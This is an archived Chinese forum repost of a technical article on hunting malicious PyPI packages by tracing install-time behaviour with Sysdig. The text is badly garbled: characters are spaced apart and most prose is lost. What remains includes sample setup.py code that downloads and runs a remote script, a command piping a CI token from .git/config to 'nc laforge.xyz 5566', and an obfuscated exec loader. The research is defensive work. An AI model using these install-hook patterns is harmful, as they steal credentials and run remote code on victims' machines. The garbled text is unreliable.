[16124] 2020-11-23_技术分享如何在PyPI上寻找恶意软件包

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-11-23_技术分享如何在PyPI上寻找恶意软件包   |   P y P I A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 1 - 2 3 P y t h o n P y t h o n   S o f t w a r e   F o u n d a t i o n R F I R F I P y P I P y P I P y P I s e t u p . p y 使 p i p 使 s y s c a l l s P y t h o n 使 使 S y s d i g 使 S y s d i g D o c k e r S y s d i g p y p i . o r g f i l e s . p y t h o n h o s t e d . c o m P y P I P y t h o n P y P I S i m p l e   A P I A P I H T M L 使 p u p 2 6 8 0 0 0 E C 2 P y P I s y s d i g p i p S 3 使   c u r l   h t t p s : / / p y p i . o r g / s i m p l e /   |   p u p   ' a   t e x t { } '   >   p y p i _ f u l l . t x t                                 w c   - l   p y p i _ f u l l . t x t     2 6 8 0 3 8   p y p i _ f u l l . t x t
S 3   B u c k e t 1 T B 2 4 5 0 0 0 J S O N 4 6 0 1 0 9 6 0 7 2 5 i - a m - m a l i c i o u s i - a m - m a l i c i o u s {         " m e t a d a t a " :   { } ,         " o u t p u t " :   {                 " d n s " :   [ ] ,                   / /   A n y   D N S   r e q u e s t s   m a d e                 " f i l e s " :   [ ] ,               / /   A l l   f i l e   a c c e s s   o p e r a t i o n s                 " c o n n e c t i o n s " :   [ ] ,   / /   T C P   c o n n e c t i o n s   e s t a b l i s h e d                 " c o m m a n d s " :   [ ] ,         / /   A n y   c o m m a n d s   e x e c u t e d         } } {     " d n s " :   [ {                     " n a m e " :   " g i s t . g i t h u b u s e r c o n t e n t . c o m " ,                     " a d d r e s s e s " :   [                         " 1 9 9 . 2 3 2 . 6 4 . 1 3 3 "                     ]         } ]     ] ,     " f i l e s " :   [         . . .         {             " f i l e n a m e " :   " / t m p / m a l i c i o u s . p y " ,             " f l a g " :   " O _ R D O N L Y | O _ C L O E X E C "         } ,         . . .
g i s t . g i t h u b . c o m P y t h o n / t m p / m a l i c i o u s - w a s - h e r e s e t u p . p y m a l i c i o u s p a c k a g e m a l i c i o u s p a c k a g e . g i t / c o n f i g l a f o r g e . x y z s e t u p . p y         {             " f i l e n a m e " :   " / t m p / m a l i c i o u s - w a s - h e r e " ,             " f l a g " :   " O _ T R U N C | O _ C R E A T | O _ W R O N L Y | O _ C L O E X E C "         } ,         . . .     ] ,     " c o m m a n d s " :   [         " p y t h o n   / t m p / m a l i c i o u s . p y "     ] } f r o m   u r l l i b . r e q u e s t   i m p o r t   u r l o p e n h a n d l e r   =   u r l o p e n ( " h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / m o s e r / 4 9 e 6 c 4 0 4 2 1 a 9 c 1 6 a 1 1 4 b e d 7 3 c 5 1 d 8 9 9 d / r a w / f c d f f 7 e 0 8 f 5 2 3 4 a 7 2 6 8 6 5 b b 3 e 0 2 a 3 c c 4 7 3 c e c d a 7 / m a l i c i o u s . p y " ) w i t h   o p e n ( " / t m p / m a l i c i o u s . p y " ,   " w b " )   a s   f p :         f p . w r i t e ( h a n d l e r . r e a d ( ) ) i m p o r t   s u b p r o c e s s s u b p r o c e s s . c a l l ( [ " p y t h o n " ,   " / t m p / m a l i c i o u s . p y " ] ) {     " d n s " :   [ {             " n a m e " :   " l a f o r g e . x y z " ,             " a d d r e s s e s " :   [                 " 3 4 . 8 2 . 1 1 2 . 6 3 "             ]     } ] ,     " f i l e s " :   [         {             " f i l e n a m e " :   " / a p p / . g i t / c o n f i g " ,             " f l a g " :   " O _ R D O N L Y "         } ,     ] ,     " c o m m a n d s " :   [         " s h   - c   a p t   i n s t a l l   - y   s o c a t " ,         " s h   - c   g r e p   c i - t o k e n   / a p p / . g i t / c o n f i g   |   n c   l a f o r g e . x y z   5 5 6 6 " ,         " g r e p   c i - t o k e n   / a p p / . g i t / c o n f i g " ,         " n c   l a f o r g e . x y z   5 5 6 6 "     ] } . . . i m p o r t   o s
e a s y I o C t l e a s y I o C t l I O s e t u p . p y p r i n t e x e c 使 i m p o r t   o s o s . s y s t e m ( ' a p t   i n s t a l l   - y   s o c a t ' ) o s . s y s t e m ( ' g r e p   c i - t o k e n   / a p p / . g i t / c o n f i g   |   n c   l a f o r g e . x y z   5 5 6 6 ' ) [     " s h   - c   t o u c h   / t m p / t e s t i n g 1 2 3 " ,     " t o u c h   / t m p / t e s t i n g 1 2 3 " ] c l a s s   M y I n s t a l l ( ) :         d e f   r u n ( s e l f ) :                 c o n t r o l _ f l o w _ g u a r d _ c o n t r o l s   =   ' l 0 n E @ ` e B Y N Q ) W g + - , k a } f M ( = 2 v 4 A V p ! [ d R / Z D F 9 s x 0 c ~ P O % y c   X 3 U K : . w x 0 b L $ I j q < & r 6 * ? ' 1 > m S z _ ^ C t o # h i J t G 5 x b 8 | ; n 7 T { u H ] " r '                 c o n t r o l _ f l o w _ g u a r d _ m a p p e r s   =   [ 8 1 ,   7 1 ,   2 9 ,   7 8 ,   9 9 ,   8 3 ,   4 8 ,   7 8 ,   4 0 ,   9 0 ,   7 8 ,   4 0 ,   5 4 ,   4 0 ,   4 6 ,   4 0 ,   8 3 ,   6 ,   7 1 ,   2 2 ,   6 8 ,   8 3 ,   7 8 ,   9 5 ,   4 7 ,   8 0 ,   4 8 ,   3 4 ,   8 3 ,   7 1 ,   2 9 ,   3 4 ,   8 3 ,   6 ,   4 0                 c o n t r o l _ f l o w _ g u a r d _ i n i t   =   " "                 f o r   c o n t r o L _ f l o w _ c o d e   i n   c o n t r o l _ f l o w _ g u a r d _ m a p p e r s :                         c o n t r o l _ f l o w _ g u a r d _ i n i t   =   c o n t r o l _ f l o w _ g u a r d _ i n i t   +   c o n t r o l _ f l o w _ g u a r d _ c o n t r o l s [ c o n t r o L _ f l o w _ c o d e ]                 e x e c ( c o n t r o l _ f l o w _ g u a r d _ i n i t ) i m p o r t   o s ; o s . s y s t e m ( ' t o u c h   / t m p / t e s t i n g 1 2 3 ' )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则